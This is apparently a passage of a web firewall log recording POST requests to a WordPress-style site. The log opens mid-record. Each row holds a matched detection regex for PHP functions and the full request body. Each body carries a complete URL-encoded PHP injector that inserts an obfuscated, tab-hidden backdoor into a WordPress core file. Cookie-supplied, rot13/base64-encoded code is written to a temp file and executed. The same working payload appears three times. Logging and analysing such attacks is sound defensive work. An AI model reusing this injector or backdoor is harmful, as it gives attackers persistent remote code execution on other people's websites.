%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 22:51:20","163.172.31.86","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> bd:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-comment-query.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-29%252B29%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B84-83%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-90%252B93%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B11-7%255D%2529%2529%2520%257B%2520%2524desc%2520%253D%2520%2524_COOKIE%253B%2520function%2520right_pad_string%2528%2524fac%2529%2520%257B%2520%2524desc%2520%253D%2520%2524_COOKIE%253B%2520%2524bind%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527928f0d85%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524bind%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522auth_exception_handler%2522%253B%2520%257D%2520%2524parameter_group%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524desc%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524bind%2529%2529%2520%257B%2520%2524ent%2520%253D%2520fopen%2528%2524bind%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524ent%252C%2520%2524parameter_group%2529%253B%2520fclose%2528%2524ent%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524bind%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524bind%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522right_pad_string%2522%2529%253B%2520%2524flg%2520%253D%2520%2522e51463bf71a95e300f262992e68c0db4%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flg%252C%2520%2524desc%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522module_controller_data_storage%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLzDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4317\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\n\nbd=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-comment-query.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-29%252B29%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B84-83%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-90%252B93%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B11-7%255D%2529%2529%2520%257B%2520%2524desc%2520%253D%2520%2524_COOKIE%253B%2520function%2520right_pad_string%2528%2524fac%2529%2520%257B%2520%2524desc%2520%253D%2520%2524_COOKIE%253B%2520%2524bind%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527928f0d85%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524bind%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522auth_exception_handler%2522%253B%2520%257D%2520%2524parameter_group%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524desc%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524bind%2529%2529%2520%257B%2520%2524ent%2520%253D%2520fopen%2528%2524bind%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524ent%252C%2520%2524parameter_group%2529%253B%2520fclose%2528%2524ent%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524bind%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524bind%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522right_pad_string%2522%2529%253B%2520%2524flg%2520%253D%2520%2522e51463bf71a95e300f262992e68c0db4%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flg%252C%2520%2524desc%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522module_controller_data_storage%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:51:31","101.100.3.213","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ie:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-comment-query.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-29%252B29%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B84-83%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-90%252B93%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B11-7%255D%2529%2529%2520%257B%2520%2524desc%2520%253D%2520%2524_COOKIE%253B%2520function%2520right_pad_string%2528%2524fac%2529%2520%257B%2520%2524desc%2520%253D%2520%2524_COOKIE%253B%2520%2524bind%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527928f0d85%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524bind%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522auth_exception_handler%2522%253B%2520%257D%2520%2524parameter_group%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524desc%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524bind%2529%2529%2520%257B%2520%2524ent%2520%253D%2520fopen%2528%2524bind%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524ent%252C%2520%2524parameter_group%2529%253B%2520fclose%2528%2524ent%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524bind%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524bind%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522right_pad_string%2522%2529%253B%2520%2524flg%2520%253D%2520%2522e51463bf71a95e300f262992e68c0db4%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flg%252C%2520%2524desc%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522module_controller_data_storage%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-fetch-site:none\nsec-ch-ua-platform:\"Android\"\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFJHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4317\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\n\nIe=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-comment-query.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-29%252B29%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B84-83%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-90%252B93%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B11-7%255D%2529%2529%2520%257B%2520%2524desc%2520%253D%2520%2524_COOKIE%253B%2520function%2520right_pad_string%2528%2524fac%2529%2520%257B%2520%2524desc%2520%253D%2520%2524_COOKIE%253B%2520%2524bind%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527928f0d85%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524bind%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522auth_exception_handler%2522%253B%2520%257D%2520%2524parameter_group%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524desc%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524bind%2529%2529%2520%257B%2520%2524ent%2520%253D%2520fopen%2528%2524bind%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524ent%252C%2520%2524parameter_group%2529%253B%2520fclose%2528%2524ent%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524bind%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524bind%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522right_pad_string%2522%2529%253B%2520%2524flg%2520%253D%2520%2522e51463bf71a95e300f262992e68c0db4%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flg%252C%2520%2524desc%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522module_controller_data_storage%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:51:33","62.210.185.4","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Iw:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-comment-query.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-29%252B29%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B84-83%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-90%252B93%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B11-7%255D%2529%2529%2520%257B%2520%2524desc%2520%253D%2520%2524_COOKIE%253B%2520function%2520right_pad_string%2528%2524fac%2529%2520%257B%2520%2524desc%2520%253D%2520%2524_COOKIE%253B%2520%2524bind%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527928f0d85%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524bind%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522auth_exception_handler%2522%253B%2520%257D%2520%2524parameter_group%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524desc%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524bind%2529%2529%2520%257B%2520%2524ent%2520%253D%2520fopen%2528%2524bind%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524ent%252C%2520%2524parameter_group%2529%253B%2520fclose%2528%2524ent%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524bind%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524bind%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522right_pad_string%2522%2529%253B%2520%2524flg%2520%253D%2520%2522e51463bf71a95e300f262992e68c0db4%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flg%252C%2520%2524desc%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522module_controller_data_storage%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFKpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4317\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\n\nIw=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-comment-query.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-29%252B29%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B84-83%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-90%252B93%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B11-7%255D%2529%2529%2520%257B%2520%2524desc%2520%253D%2520%2524_COOKIE%253B%2520function%2520right_pad_string%2528%2524fac%2529%2520%257B%2520%2524desc%2520%253D%2520%2524_COOKIE%253B%2520%2524bind%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527928f0d85%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524bind%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522auth_exception_handler%2522%253B%2520%257D%2520%2524parameter_group%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524desc%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524bind%2529%2529%2520%257B%2520%2524ent%2520%253D%2520fopen%2528%2524bind%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524ent%252C%2520%2524parameter_group%2529%253B%2520fclose%2528%2524ent%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524bind%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524bind%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522right_pad_string%2522%2529%253B%2520%2524flg%2520%253D%2520%2522e51463bf71a95e300f262992e68c0db4%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flg%252C%2520%2524desc%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522module_controller_data_storage%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
